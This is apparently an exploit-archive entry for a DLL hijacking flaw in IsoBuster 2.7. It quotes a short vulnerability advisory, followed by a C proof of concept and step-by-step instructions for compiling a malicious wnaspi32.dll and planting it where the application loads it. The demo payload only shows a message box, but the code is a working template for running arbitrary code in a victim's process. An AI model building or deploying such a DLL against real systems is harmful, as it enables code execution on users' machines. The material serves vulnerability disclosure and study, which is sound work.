IsoBuster 2.7 – ‘wnaspi32.dll’ DLL Loading Arbitrary Code Execution
// source: https://www.securityfocus.com/bid/43912/info IsoBuster is prone to a vulnerability that lets attackers execute arbitrary code. An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file. IsoBuster 2.7 is vulnerable; other versions may also be affected. /* ================================================================== IsoBuster v2.7 (Build 2.7.0.0) DLL Hijacking Exploit (wnaspi32.dll) =================================================================== $ Program: IsoBuster $ Version: v2.7 (Build 2.7.0.0) $ Download: http://www.isobuster.com/ $ Date: 2010/10/08 Found by Pepelux <pepelux[at]enye-sec.org> http://www.pepelux.org eNYe-Sec - www.enye-sec.org Tested on: Windows XP SP2 && Windows XP SP3 Extensions: " .rar && .r00 ... .r99 && .zoo " How to use : 1> Compile this code as wnaspi32.dll gcc -shared -o wnaspi32.dll thiscode.c 2> Move DLL file to the directory where IsoBuster is installed 3> Open any file recognized by isobuster */ #include <windows.h> #define DllExport __declspec (dllexport) int mes() { MessageBox(0, "DLL Hijacking vulnerable", "Pepelux", MB_OK); return 0; } BOOL WINAPI DllMain ( HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {mes();} |